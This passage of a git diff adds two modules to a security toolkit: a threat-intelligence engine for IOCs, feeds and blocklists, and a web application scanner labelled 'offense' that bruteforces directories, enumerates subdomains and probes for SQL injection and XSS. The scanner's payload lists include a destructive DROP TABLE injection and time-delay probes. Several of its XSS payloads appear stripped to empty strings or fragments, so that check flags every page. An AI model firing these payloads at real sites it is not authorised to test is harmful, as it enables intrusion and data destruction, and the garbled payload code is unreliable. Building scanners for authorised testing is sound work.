────────────────────────────────────────────────────── + +class ThreatIntelEngine: + """IOC management and threat intelligence correlation.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'threat_intel') + os.makedirs(self.data_dir, exist_ok=True) + self.iocs: List[IOC] = [] + self.feeds: List[Feed] = [] + self.alerts: List[Dict] = [] + self._lock = threading.Lock() + self._load() + + def _load(self): + """Load IOCs and feeds from disk.""" + ioc_file = os.path.join(self.data_dir, 'iocs.json') + if os.path.exists(ioc_file): + try: + with open(ioc_file) as f: + data = json.load(f) + self.iocs = [IOC.from_dict(d) for d in data] + except Exception: + pass + + feed_file = os.path.join(self.data_dir, 'feeds.json') + if os.path.exists(feed_file): + try: + with open(feed_file) as f: + data = json.load(f) + self.feeds = [Feed(**d) for d in data] + except Exception: + pass + + def _save_iocs(self): + """Persist IOCs to disk.""" + ioc_file = os.path.join(self.data_dir, 'iocs.json') + with open(ioc_file, 'w') as f: + json.dump([ioc.to_dict() for ioc in self.iocs], f, indent=2) + + def _save_feeds(self): + """Persist feeds to disk.""" + feed_file = os.path.join(self.data_dir, 'feeds.json') + with open(feed_file, 'w') as f: + json.dump([feed.to_dict() for feed in self.feeds], f, indent=2) + + # ── IOC Type Detection ─────────────────────────────────────────────── + + def detect_ioc_type(self, value: str) -> str: + """Auto-detect IOC type from value.""" + value = value.strip() + # Hash detection + if re.match(r'^[a-fA-F0-9]{32}$', value): + return 'hash_md5' + if re.match(r'^[a-fA-F0-9]{40}$', value): + return 'hash_sha1' + if re.match(r'^[a-fA-F0-9]{64}$', value): + return 'hash_sha256' + # URL + if re.match(r'^https?://', value, re.I): + return 'url' + # Email + if re.match(r'^[^@]+@[^@]+\.[^@]+$', value): + return 'email' + # IP (v4) + if re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', value): + return 'ip' + # Domain + if re.match(r'^[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?)*\.[a-zA-Z]{2,}$', value): + return 'domain' + # Filename + if '.' in value and '/' not in value and '\\' not in value: + return 'filename' + return 'unknown' + + # ── IOC CRUD ───────────────────────────────────────────────────────── + + def add_ioc(self, value: str, ioc_type: str = None, source: str = "manual", + tags: List[str] = None, severity: str = "unknown", + description: str = "", reference: str = "") -> Dict: + """Add a single IOC.""" + if not ioc_type: + ioc_type = self.detect_ioc_type(value) + + now = datetime.now(timezone.utc).isoformat() + + # Check for duplicate + with self._lock: + for existing in self.iocs: + if existing.value == value and existing.ioc_type == ioc_type: + existing.last_seen = now + if tags: + existing.tags = list(set(existing.tags + tags)) + self._save_iocs() + return {'ok': True, 'action': 'updated', 'ioc': existing.to_dict()} + + ioc = IOC( + value=value, ioc_type=ioc_type, source=source, + tags=tags or [], severity=severity, + first_seen=now, last_seen=now, + description=description, reference=reference + ) + self.iocs.append(ioc) + self._save_iocs() + + return {'ok': True, 'action': 'created', 'ioc': ioc.to_dict()} + + def remove_ioc(self, ioc_id: str) -> Dict: + """Remove IOC by ID.""" + with self._lock: + before = len(self.iocs) + self.iocs = [ + ioc for ioc in self.iocs + if hashlib.md5(f"{ioc.ioc_type}:{ioc.value}".encode()).hexdigest()[:12] != ioc_id + ] + if len(self.iocs) < before: + self._save_iocs() + return {'ok': True} + return {'ok': False, 'error': 'IOC not found'} + + def get_iocs(self, ioc_type: str = None, source: str = None, + severity: str = None, search: str = None, + active_only: bool = True) -> List[Dict]: + """Query IOCs with filters.""" + results = [] + for ioc in self.iocs: + if active_only and not ioc.active: + continue + if ioc_type and ioc.ioc_type != ioc_type: + continue + if source and ioc.source != source: + continue + if severity and ioc.severity != severity: + continue + if search and search.lower() not in ioc.value.lower() and \ + search.lower() not in ioc.description.lower() and \ + not any(search.lower() in t.lower() for t in ioc.tags): + continue + results.append(ioc.to_dict()) + return results + + def bulk_import(self, text: str, source: str = "import", + ioc_type: str = None) -> Dict: + """Import IOCs from newline-separated text.""" + imported = 0 + skipped = 0 + for line in text.strip().splitlines(): + line = line.strip() + if not line or line.startswith('#'): + continue + # Handle CSV-style (value,type,severity,description) + parts = [p.strip() for p in line.split(',')] + value = parts[0] + t = parts[1] if len(parts) > 1 and parts[1] in IOC_TYPES else ioc_type + sev = parts[2] if len(parts) > 2 else 'unknown' + desc = parts[3] if len(parts) > 3 else '' + + if not value: + skipped += 1 + continue + + result = self.add_ioc(value=value, ioc_type=t, source=source, + severity=sev, description=desc) + if result['ok']: + imported += 1 + else: + skipped += 1 + + return {'ok': True, 'imported': imported, 'skipped': skipped} + + def export_iocs(self, fmt: str = 'json', ioc_type: str = None) -> str: + """Export IOCs in specified format.""" + iocs = self.get_iocs(ioc_type=ioc_type, active_only=False) + + if fmt == 'csv': + lines = ['value,type,severity,source,tags,description'] + for ioc in iocs: + tags = ';'.join(ioc.get('tags', [])) + lines.append(f"{ioc['value']},{ioc['ioc_type']},{ioc['severity']}," + f"{ioc['source']},{tags},{ioc.get('description', '')}") + return '\n'.join(lines) + + elif fmt == 'stix': + # Basic STIX 2.1 bundle + objects = [] + for ioc in iocs: + stix_type = { + 'ip': 'ipv4-addr', 'domain': 'domain-name', + 'url': 'url', 'email': 'email-addr', + 'hash_md5': 'file', 'hash_sha1': 'file', 'hash_sha256': 'file', + 'filename': 'file' + }.get(ioc['ioc_type'], 'artifact') + + if stix_type == 'file' and ioc['ioc_type'].startswith('hash_'): + hash_algo = ioc['ioc_type'].replace('hash_', '').upper().replace('SHA', 'SHA-') + obj = { + 'type': 'indicator', + 'id': f"indicator--{ioc['id']}", + 'name': ioc['value'], + 'pattern': f"[file:hashes.'{hash_algo}' = '{ioc['value']}']", + 'pattern_type': 'stix', + 'valid_from': ioc.get('first_seen', ''), + 'labels': ioc.get('tags', []) + } + else: + obj = { + 'type': 'indicator', + 'id': f"indicator--{ioc['id']}", + 'name': ioc['value'], + 'pattern': f"[{stix_type}:value = '{ioc['value']}']", + 'pattern_type': 'stix', + 'valid_from': ioc.get('first_seen', ''), + 'labels': ioc.get('tags', []) + } + objects.append(obj) + + bundle = { + 'type': 'bundle', + 'id': f'bundle--autarch-{int(time.time())}', + 'objects': objects + } + return json.dumps(bundle, indent=2) + + else: # json + return json.dumps(iocs, indent=2) + + def get_stats(self) -> Dict: + """Get IOC database statistics.""" + by_type = {} + by_severity = {} + by_source = {} + for ioc in self.iocs: + by_type[ioc.ioc_type] = by_type.get(ioc.ioc_type, 0) + 1 + by_severity[ioc.severity] = by_severity.get(ioc.severity, 0) + 1 + by_source[ioc.source] = by_source.get(ioc.source, 0) + 1 + + return { + 'total': len(self.iocs), + 'active': sum(1 for i in self.iocs if i.active), + 'by_type': by_type, + 'by_severity': by_severity, + 'by_source': by_source + } + + # ── Feed Management ────────────────────────────────────────────────── + + def add_feed(self, name: str, feed_type: str, url: str, + api_key: str = "", interval_hours: int = 24) -> Dict: + """Add a threat intelligence feed.""" + feed = Feed( + name=name, feed_type=feed_type, url=url, + api_key=api_key, interval_hours=interval_hours + ) + self.feeds.append(feed) + self._save_feeds() + return {'ok': True, 'feed': feed.to_dict()} + + def remove_feed(self, feed_id: str) -> Dict: + """Remove feed by ID.""" + before = len(self.feeds) + self.feeds = [ + f for f in self.feeds + if hashlib.md5(f"{f.name}:{f.url}".encode()).hexdigest()[:12] != feed_id + ] + if len(self.feeds) < before: + self._save_feeds() + return {'ok': True} + return {'ok': False, 'error': 'Feed not found'} + + def get_feeds(self) -> List[Dict]: + """List all feeds.""" + return [f.to_dict() for f in self.feeds] + + def fetch_feed(self, feed_id: str) -> Dict: + """Fetch IOCs from a feed.""" + if not requests: + return {'ok': False, 'error': 'requests library not available'} + + feed = None + for f in self.feeds: + if hashlib.md5(f"{f.name}:{f.url}".encode()).hexdigest()[:12] == feed_id: + feed = f + break + if not feed: + return {'ok': False, 'error': 'Feed not found'} + + try: + headers = {} + if feed.api_key: + headers['Authorization'] = f'Bearer {feed.api_key}' + headers['X-API-Key'] = feed.api_key + + resp = requests.get(feed.url, headers=headers, timeout=30) + resp.raise_for_status() + + imported = 0 + if feed.feed_type == 'csv_url': + result = self.bulk_import(resp.text, source=feed.name) + imported = result['imported'] + elif feed.feed_type == 'json_url': + data = resp.json() + items = data if isinstance(data, list) else data.get('data', data.get('results', [])) + for item in items: + if isinstance(item, str): + self.add_ioc(item, source=feed.name) + imported += 1 + elif isinstance(item, dict): + val = item.get('value', item.get('indicator', item.get('ioc', ''))) + if val: + self.add_ioc( + val, + ioc_type=item.get('type', None), + source=feed.name, + severity=item.get('severity', 'unknown'), + description=item.get('description', ''), + tags=item.get('tags', []) + ) + imported += 1 + elif feed.feed_type == 'stix_file': + data = resp.json() + objects = data.get('objects', []) + for obj in objects: + if obj.get('type') == 'indicator': + pattern = obj.get('pattern', '') + # Extract value from STIX pattern + m = re.search(r"=\s*'([^']+)'", pattern) + if m: + self.add_ioc( + m.group(1), source=feed.name, + description=obj.get('name', ''), + tags=obj.get('labels', []) + ) + imported += 1 + + feed.last_fetch = datetime.now(timezone.utc).isoformat() + feed.ioc_count = imported + self._save_feeds() + + return {'ok': True, 'imported': imported, 'feed': feed.name} + + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Reputation Lookups ─────────────────────────────────────────────── + + def lookup_virustotal(self, value: str, api_key: str) -> Dict: + """Look up IOC on VirusTotal.""" + if not requests: + return {'ok': False, 'error': 'requests library not available'} + + ioc_type = self.detect_ioc_type(value) + headers = {'x-apikey': api_key} + + try: + if ioc_type == 'ip': + url = f'https://www.virustotal.com/api/v3/ip_addresses/{value}' + elif ioc_type == 'domain': + url = f'https://www.virustotal.com/api/v3/domains/{value}' + elif ioc_type in ('hash_md5', 'hash_sha1', 'hash_sha256'): + url = f'https://www.virustotal.com/api/v3/files/{value}' + elif ioc_type == 'url': + url_id = hashlib.sha256(value.encode()).hexdigest() + url = f'https://www.virustotal.com/api/v3/urls/{url_id}' + else: + return {'ok': False, 'error': f'Unsupported type for VT lookup: {ioc_type}'} + + resp = requests.get(url, headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json().get('data', {}).get('attributes', {}) + stats = data.get('last_analysis_stats', {}) + return { + 'ok': True, + 'value': value, + 'type': ioc_type, + 'malicious': stats.get('malicious', 0), + 'suspicious': stats.get('suspicious', 0), + 'harmless': stats.get('harmless', 0), + 'undetected': stats.get('undetected', 0), + 'reputation': data.get('reputation', 0), + 'source': 'virustotal' + } + elif resp.status_code == 404: + return {'ok': True, 'value': value, 'message': 'Not found in VirusTotal'} + else: + return {'ok': False, 'error': f'VT API error: {resp.status_code}'} + + except Exception as e: + return {'ok': False, 'error': str(e)} + + def lookup_abuseipdb(self, ip: str, api_key: str) -> Dict: + """Look up IP on AbuseIPDB.""" + if not requests: + return {'ok': False, 'error': 'requests library not available'} + + try: + resp = requests.get( + 'https://api.abuseipdb.com/api/v2/check', + params={'ipAddress': ip, 'maxAgeInDays': 90}, + headers={'Key': api_key, 'Accept': 'application/json'}, + timeout=15 + ) + if resp.status_code == 200: + data = resp.json().get('data', {}) + return { + 'ok': True, + 'ip': ip, + 'abuse_score': data.get('abuseConfidenceScore', 0), + 'total_reports': data.get('totalReports', 0), + 'country': data.get('countryCode', ''), + 'isp': data.get('isp', ''), + 'domain': data.get('domain', ''), + 'is_public': data.get('isPublic', False), + 'source': 'abuseipdb' + } + return {'ok': False, 'error': f'AbuseIPDB error: {resp.status_code}'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Correlation ────────────────────────────────────────────────────── + + def correlate_network(self, connections: List[Dict]) -> List[Dict]: + """Check network connections against IOC database.""" + ioc_ips = {ioc.value for ioc in self.iocs if ioc.ioc_type == 'ip' and ioc.active} + ioc_domains = {ioc.value for ioc in self.iocs if ioc.ioc_type == 'domain' and ioc.active} + + matches = [] + for conn in connections: + remote_ip = conn.get('remote_addr', conn.get('ip', '')) + remote_host = conn.get('hostname', '') + + if remote_ip in ioc_ips: + ioc = next(i for i in self.iocs if i.value == remote_ip) + matches.append({ + 'connection': conn, + 'ioc': ioc.to_dict(), + 'match_type': 'ip', + 'severity': ioc.severity + }) + if remote_host and remote_host in ioc_domains: + ioc = next(i for i in self.iocs if i.value == remote_host) + matches.append({ + 'connection': conn, + 'ioc': ioc.to_dict(), + 'match_type': 'domain', + 'severity': ioc.severity + }) + + if matches: + self.alerts.extend([{ + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'type': 'network_match', + **m + } for m in matches]) + + return matches + + def correlate_file_hashes(self, hashes: List[str]) -> List[Dict]: + """Check file hashes against IOC database.""" + hash_iocs = { + ioc.value.lower(): ioc + for ioc in self.iocs + if ioc.ioc_type.startswith('hash_') and ioc.active + } + + matches = [] + for h in hashes: + if h.lower() in hash_iocs: + ioc = hash_iocs[h.lower()] + matches.append({ + 'hash': h, + 'ioc': ioc.to_dict(), + 'severity': ioc.severity + }) + + return matches + + # ── Blocklist Generation ───────────────────────────────────────────── + + def generate_blocklist(self, fmt: str = 'plain', ioc_type: str = 'ip', + min_severity: str = 'low') -> str: + """Generate blocklist from IOCs.""" + severity_order = ['info', 'low', 'medium', 'high', 'critical'] + min_idx = severity_order.index(min_severity) if min_severity in severity_order else 0 + + items = [] + for ioc in self.iocs: + if not ioc.active or ioc.ioc_type != ioc_type: + continue + sev_idx = severity_order.index(ioc.severity) if ioc.severity in severity_order else -1 + if sev_idx >= min_idx: + items.append(ioc.value) + + if fmt == 'iptables': + return '\n'.join(f'iptables -A INPUT -s {ip} -j DROP' for ip in items) + elif fmt == 'nginx_deny': + return '\n'.join(f'deny {ip};' for ip in items) + elif fmt == 'hosts': + return '\n'.join(f'0.0.0.0 {d}' for d in items) + elif fmt == 'dns_blocklist': + return '\n'.join(items) + elif fmt == 'snort': + return '\n'.join( + f'alert ip {ip} any -> $HOME_NET any (msg:"AUTARCH IOC match {ip}"; sid:{i+1000000}; rev:1;)' + for i, ip in enumerate(items) + ) + else: # plain + return '\n'.join(items) + + def get_alerts(self, limit: int = 100) -> List[Dict]: + """Get recent correlation alerts.""" + return self.alerts[-limit:] + + def clear_alerts(self): + """Clear all alerts.""" + self.alerts.clear() + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_threat_intel() -> ThreatIntelEngine: + global _instance + if _instance is None: + _instance = ThreatIntelEngine() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Threat Intel module.""" + engine = get_threat_intel() + + while True: + stats = engine.get_stats() + print(f"\n{'='*60}") + print(f" Threat Intelligence ({stats['total']} IOCs, {len(engine.feeds)} feeds)") + print(f"{'='*60}") + print() + print(" 1 — Add IOC") + print(" 2 — Search IOCs") + print(" 3 — Bulk Import") + print(" 4 — Export IOCs") + print(" 5 — Manage Feeds") + print(" 6 — Reputation Lookup") + print(" 7 — Generate Blocklist") + print(" 8 — View Stats") + print(" 9 — View Alerts") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + value = input(" IOC value: ").strip() + if value: + ioc_type = input(f" Type (auto-detected: {engine.detect_ioc_type(value)}): ").strip() + severity = input(" Severity (critical/high/medium/low/info): ").strip() or 'unknown' + desc = input(" Description: ").strip() + result = engine.add_ioc(value, ioc_type=ioc_type or None, + severity=severity, description=desc) + print(f" {result['action']}: {result['ioc']['value']} ({result['ioc']['ioc_type']})") + elif choice == '2': + search = input(" Search term: ").strip() + results = engine.get_iocs(search=search) + print(f" Found {len(results)} IOCs:") + for ioc in results[:20]: + print(f" [{ioc['severity']:<8}] {ioc['ioc_type']:<12} {ioc['value']}") + elif choice == '3': + print(" Paste IOCs (one per line, Ctrl+D/blank line to finish):") + lines = [] + while True: + try: + line = input() + if not line: + break + lines.append(line) + except EOFError: + break + if lines: + result = engine.bulk_import('\n'.join(lines)) + print(f" Imported: {result['imported']}, Skipped: {result['skipped']}") + elif choice == '4': + fmt = input(" Format (json/csv/stix): ").strip() or 'json' + output = engine.export_iocs(fmt=fmt) + outfile = os.path.join(engine.data_dir, f'export.{fmt}') + with open(outfile, 'w') as f: + f.write(output) + print(f" Exported to {outfile}") + elif choice == '5': + print(f" Feeds ({len(engine.feeds)}):") + for f in engine.get_feeds(): + print(f" {f['name']} ({f['feed_type']}) — last: {f['last_fetch'] or 'never'}") + elif choice == '6': + value = input(" Value to look up: ").strip() + api_key = input(" VirusTotal API key: ").strip() + if value and api_key: + result = engine.lookup_virustotal(value, api_key) + if result['ok']: + print(f" Malicious: {result.get('malicious', 'N/A')} | " + f"Suspicious: {result.get('suspicious', 'N/A')}") + else: + print(f" Error: {result.get('error', result.get('message'))}") + elif choice == '7': + fmt = input(" Format (plain/iptables/nginx_deny/hosts/snort): ").strip() or 'plain' + ioc_type = input(" IOC type (ip/domain): ").strip() or 'ip' + output = engine.generate_blocklist(fmt=fmt, ioc_type=ioc_type) + print(f" Generated {len(output.splitlines())} rules") + elif choice == '8': + print(f" Total IOCs: {stats['total']}") + print(f" Active: {stats['active']}") + print(f" By type: {stats['by_type']}") + print(f" By severity: {stats['by_severity']}") + elif choice == '9': + alerts = engine.get_alerts() + print(f" {len(alerts)} alerts:") + for a in alerts[-10:]: + print(f" [{a.get('severity', '?')}] {a.get('match_type')}: " + f"{a.get('ioc', {}).get('value', '?')}") diff --git a/modules/webapp_scanner.py b/modules/webapp_scanner.py new file mode 100644 index 0000000..f21c809 --- /dev/null +++ b/modules/webapp_scanner.py @@ -0,0 +1,724 @@ +"""AUTARCH Web Application Scanner + +Directory bruteforce, subdomain enumeration, vulnerability scanning (SQLi, XSS), +header analysis, technology fingerprinting, SSL/TLS audit, and crawler. +""" + +DESCRIPTION = "Web application vulnerability scanner" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import re +import json +import time +import ssl +import socket +import hashlib +import threading +import subprocess +from pathlib import Path +from urllib.parse import urlparse, urljoin, quote +from dataclasses import dataclass, field +from typing import Dict, List, Optional, Any, Set +from datetime import datetime, timezone + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + import shutil + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +try: + import requests + from requests.exceptions import RequestException + _HAS_REQUESTS = True +except ImportError: + _HAS_REQUESTS = False + + +# ── Tech Fingerprints ───────────────────────────────────────────────────────── + +TECH_SIGNATURES = { + 'WordPress': {'headers': [], 'body': ['wp-content', 'wp-includes', 'wp-json'], 'cookies': ['wordpress_']}, + 'Drupal': {'headers': ['X-Drupal-'], 'body': ['Drupal.settings', 'sites/default'], 'cookies': ['SESS']}, + 'Joomla': {'headers': [], 'body': ['/media/jui/', 'com_content'], 'cookies': []}, + 'Laravel': {'headers': [], 'body': ['laravel_session'], 'cookies': ['laravel_session']}, + 'Django': {'headers': [], 'body': ['csrfmiddlewaretoken', '__admin__'], 'cookies': ['csrftoken', 'sessionid']}, + 'Express': {'headers': ['X-Powered-By: Express'], 'body': [], 'cookies': ['connect.sid']}, + 'ASP.NET': {'headers': ['X-AspNet-Version', 'X-Powered-By: ASP.NET'], 'body': ['__VIEWSTATE', '__EVENTVALIDATION'], 'cookies': ['ASP.NET_SessionId']}, + 'PHP': {'headers': ['X-Powered-By: PHP'], 'body': ['.php'], 'cookies': ['PHPSESSID']}, + 'Nginx': {'headers': ['Server: nginx'], 'body': [], 'cookies': []}, + 'Apache': {'headers': ['Server: Apache'], 'body': [], 'cookies': []}, + 'IIS': {'headers': ['Server: Microsoft-IIS'], 'body': [], 'cookies': []}, + 'Cloudflare': {'headers': ['Server: cloudflare', 'cf-ray'], 'body': [], 'cookies': ['__cfduid']}, + 'React': {'headers': [], 'body': ['react-root', '_reactRootContainer', 'data-reactroot'], 'cookies': []}, + 'Angular': {'headers': [], 'body': ['ng-app', 'ng-controller', 'angular.min.js'], 'cookies': []}, + 'Vue.js': {'headers': [], 'body': ['vue.min.js', 'v-bind:', 'v-if=', '__vue__'], 'cookies': []}, + 'jQuery': {'headers': [], 'body': ['jquery.min.js', 'jquery-'], 'cookies': []}, + 'Bootstrap': {'headers': [], 'body': ['bootstrap.min.css', 'bootstrap.min.js'], 'cookies': []}, +} + +SECURITY_HEADERS = [ + 'Content-Security-Policy', + 'X-Content-Type-Options', + 'X-Frame-Options', + 'X-XSS-Protection', + 'Strict-Transport-Security', + 'Referrer-Policy', + 'Permissions-Policy', + 'Cross-Origin-Opener-Policy', + 'Cross-Origin-Resource-Policy', + 'Cross-Origin-Embedder-Policy', +] + +# Common directories for bruteforce +DIR_WORDLIST_SMALL = [ + 'admin', 'login', 'wp-admin', 'administrator', 'phpmyadmin', 'cpanel', + 'dashboard', 'api', 'backup', 'config', 'db', 'debug', 'dev', 'docs', + 'dump', 'env', 'git', 'hidden', 'include', 'internal', 'log', 'logs', + 'old', 'panel', 'private', 'secret', 'server-status', 'shell', 'sql', + 'staging', 'status', 'temp', 'test', 'tmp', 'upload', 'uploads', + 'wp-content', 'wp-includes', '.env', '.git', '.htaccess', '.htpasswd', + 'robots.txt', 'sitemap.xml', 'crossdomain.xml', 'web.config', + 'composer.json', 'package.json', '.svn', '.DS_Store', + 'cgi-bin', 'server-info', 'info.php', 'phpinfo.php', 'xmlrpc.php', + 'wp-login.php', '.well-known', 'favicon.ico', 'humans.txt', +] + +# SQLi test payloads +SQLI_PAYLOADS = [ + "'", "\"", "' OR '1'='1", "\" OR \"1\"=\"1", + "' OR 1=1--", "\" OR 1=1--", "'; DROP TABLE--", + "1' AND '1'='1", "1 AND 1=1", "1 UNION SELECT NULL--", + "' UNION SELECT NULL,NULL--", "1'; WAITFOR DELAY '0:0:5'--", + "1' AND SLEEP(5)--", +] + +# XSS test payloads +XSS_PAYLOADS = [ + '', + '">', + "'>", + '', + '', + '">', + "javascript:alert(1)", + '', +] + +# SQL error signatures +SQL_ERRORS = [ + 'sql syntax', 'mysql_fetch', 'mysql_num_rows', 'mysql_query', + 'pg_query', 'pg_exec', 'sqlite3', 'SQLSTATE', + 'ORA-', 'Microsoft OLE DB', 'Unclosed quotation mark', + 'ODBC Microsoft Access', 'JET Database', 'Microsoft SQL Server', + 'java.sql.SQLException', 'PostgreSQL query failed', + 'supplied argument is not a valid MySQL', 'unterminated quoted string', +] + + +# ── Scanner Service ─────────────────────────────────────────────────────────── + +class WebAppScanner: + """Web application vulnerability scanner.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'webapp_scanner') + self._results_dir = os.path.join(self._data_dir, 'results') + os.makedirs(self._results_dir, exist_ok=True) + self._active_jobs: Dict[str, dict] = {} + self._session = None + + def _get_session(self): + if not _HAS_REQUESTS: + raise RuntimeError('requests library required') + if not self._session: + self._session = requests.Session() + self._session.headers.update({ + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ' + 'AppleWebKit/537.36 (KHTML, like Gecko) ' + 'Chrome/120.0.0.0 Safari/537.36', + }) + self._session.verify = False + return self._session + + # ── Quick Scan ──────────────────────────────────────────────────────── + + def quick_scan(self, url: str) -> dict: + """Run a quick scan — headers, tech fingerprint, basic checks.""" + if not _HAS_REQUESTS: + return {'ok': False, 'error': 'requests library required'} + url = self._normalize_url(url) + results = { + 'url': url, + 'scan_time': datetime.now(timezone.utc).isoformat(), + 'headers': {}, + 'security_headers': {}, + 'technologies': [], + 'server': '', + 'status_code': 0, + 'redirects': [], + 'ssl': {}, + } + + try: + sess = self._get_session() + resp = sess.get(url, timeout=10, allow_redirects=True) + results['status_code'] = resp.status_code + results['headers'] = dict(resp.headers) + results['server'] = resp.headers.get('Server', '') + + # Track redirects + for r in resp.history: + results['redirects'].append({ + 'url': r.url, + 'status': r.status_code, + }) + + # Security headers + results['security_headers'] = self._check_security_headers(resp.headers) + + # Technology fingerprint + results['technologies'] = self._fingerprint_tech(resp) + + # SSL check + parsed = urlparse(url) + if parsed.scheme == 'https': + results['ssl'] = self._check_ssl(parsed.hostname, parsed.port or 443) + + except Exception as e: + results['error'] = str(e) + + return results + + # ── Directory Bruteforce ────────────────────────────────────────────── + + def dir_bruteforce(self, url: str, wordlist: List[str] = None, + extensions: List[str] = None, + threads: int = 10, timeout: float = 5.0) -> dict: + """Directory bruteforce scan.""" + if not _HAS_REQUESTS: + return {'ok': False, 'error': 'requests library required'} + + url = self._normalize_url(url).rstrip('/') + if not wordlist: + wordlist = DIR_WORDLIST_SMALL + if not extensions: + extensions = [''] + + job_id = f'dirbust_{int(time.time())}' + holder = {'done': False, 'found': [], 'tested': 0, + 'total': len(wordlist) * len(extensions)} + self._active_jobs[job_id] = holder + + def do_scan(): + sess = self._get_session() + results_lock = threading.Lock() + + def test_path(path): + for ext in extensions: + full_path = f'{path}{ext}' if ext else path + test_url = f'{url}/{full_path}' + try: + r = sess.get(test_url, timeout=timeout, + allow_redirects=False) + holder['tested'] += 1 + if r.status_code not in (404, 403, 500): + with results_lock: + holder['found'].append({ + 'path': '/' + full_path, + 'status': r.status_code, + 'size': len(r.content), + 'content_type': r.headers.get('Content-Type', ''), + }) + except Exception: + holder['tested'] += 1 + + threads_list = [] + for word in wordlist: + t = threading.Thread(target=test_path, args=(word,), daemon=True) + threads_list.append(t) + t.start() + if len(threads_list) >= threads: + for t in threads_list: + t.join(timeout=timeout + 5) + threads_list.clear() + for t in threads_list: + t.join(timeout=timeout + 5) + holder['done'] = True + + threading.Thread(target=do_scan, daemon=True).start() + return {'ok': True, 'job_id': job_id} + + # ── Subdomain Enumeration ───────────────────────────────────────────── + + def subdomain_enum(self, domain: str, wordlist: List[str] = None, + use_ct: bool = True) -> dict: + """Enumerate subdomains via DNS bruteforce and CT logs.""" + found = [] + + # Certificate Transparency logs + if use_ct and _HAS_REQUESTS: + try: + resp = requests.get( + f'https://crt.sh/?q=%.{domain}&output=json', + timeout=15) + if resp.status_code == 200: + for entry in resp.json(): + name = entry.get('name_value', '') + for sub in name.split('\n'): + sub = sub.strip().lower() + if sub.endswith('.' + domain) and sub not in found: + found.append(sub) + except Exception: + pass + + # DNS bruteforce + if not wordlist: + wordlist = ['www', 'mail', 'ftp', 'admin', 'api', 'dev', + 'staging', 'test', 'blog', 'shop', 'app', 'cdn', + 'ns1', 'ns2', 'mx', 'smtp', 'imap', 'pop', + 'vpn', 'remote', 'portal', 'webmail', 'secure', + 'beta', 'demo', 'docs', 'git', 'jenkins', 'ci', + 'grafana', 'kibana', 'prometheus', 'monitor', + 'status', 'support', 'help', 'forum', 'wiki', + 'internal', 'intranet', 'proxy', 'gateway'] + + for sub in wordlist: + fqdn = f'{sub}.{domain}' + try: + socket.getaddrinfo(fqdn, None) + if fqdn not in found: + found.append(fqdn) + except socket.gaierror: + pass + + return {'ok': True, 'domain': domain, 'subdomains': sorted(set(found)), + 'count': len(set(found))} + + # ── Vulnerability Scanning ──────────────────────────────────────────── + + def vuln_scan(self, url: str, scan_sqli: bool = True, + scan_xss: bool = True) -> dict: + """Scan for SQL injection and XSS vulnerabilities.""" + if not _HAS_REQUESTS: + return {'ok': False, 'error': 'requests library required'} + + url = self._normalize_url(url) + findings = [] + sess = self._get_session() + + # Crawl to find forms and parameters + try: + resp = sess.get(url, timeout=10) + body = resp.text + except Exception as e: + return {'ok': False, 'error': str(e)} + + # Find URLs with parameters + param_urls = self._extract_param_urls(body, url) + + # Test each URL with parameters + for test_url in param_urls[:20]: # Limit to prevent abuse + parsed = urlparse(test_url) + params = dict(p.split('=', 1) for p in parsed.query.split('&') + if '=' in p) if parsed.query else {} + + for param_name, param_val in params.items(): + if scan_sqli: + sqli_findings = self._test_sqli(sess, test_url, param_name, param_val) + findings.extend(sqli_findings) + + if scan_xss: + xss_findings = self._test_xss(sess, test_url, param_name, param_val) + findings.extend(xss_findings) + + return { + 'ok': True, + 'url': url, + 'findings': findings, + 'urls_tested': len(param_urls[:20]), + } + + def _test_sqli(self, sess, url: str, param: str, original_val: str) -> List[dict]: + """Test a parameter for SQL injection.""" + findings = [] + parsed = urlparse(url) + base_params = dict(p.split('=', 1) for p in parsed.query.split('&') + if '=' in p) if parsed.query else {} + + for payload in SQLI_PAYLOADS[:6]: # Limit payloads + test_params = base_params.copy() + test_params[param] = original_val + payload + try: + test_url = f'{parsed.scheme}://{parsed.netloc}{parsed.path}' + r = sess.get(test_url, params=test_params, timeout=5) + body = r.text.lower() + + for error_sig in SQL_ERRORS: + if error_sig.lower() in body: + findings.append({ + 'type': 'sqli', + 'severity': 'high', + 'url': url, + 'parameter': param, + 'payload': payload, + 'evidence': error_sig, + 'description': f'SQL injection (error-based) in parameter "{param}"', + }) + return findings # One finding per param is enough + except Exception: + continue + + return findings + + def _test_xss(self, sess, url: str, param: str, original_val: str) -> List[dict]: + """Test a parameter for reflected XSS.""" + findings = [] + parsed = urlparse(url) + base_params = dict(p.split('=', 1) for p in parsed.query.split('&') + if '=' in p) if parsed.query else {} + + for payload in XSS_PAYLOADS[:4]: + test_params = base_params.copy() + test_params[param] = payload + try: + test_url = f'{parsed.scheme}://{parsed.netloc}{parsed.path}' + r = sess.get(test_url, params=test_params, timeout=5) + if payload in r.text: + findings.append({ + 'type': 'xss', + 'severity': 'high', + 'url': url, + 'parameter': param, + 'payload': payload, + 'description': f'Reflected XSS in parameter "{param}"', + }) + return findings + except Exception: + continue + + return findings + + def _extract_param_urls(self, html: str, base_url: str) -> List[str]: + """Extract URLs with parameters from HTML.""" + urls = set() + # href/src/action attributes + for match in re.finditer(r'(?:href|src|action)=["\']([^"\']+\?[^"\']+)["\']', html): + u = match.group(1) + full = urljoin(base_url, u) + if urlparse(full).netloc == urlparse(base_url).netloc: + urls.add(full) + return list(urls) + + # ── Security Headers ────────────────────────────────────────────────── + + def _check_security_headers(self, headers) -> dict: + """Check for presence and 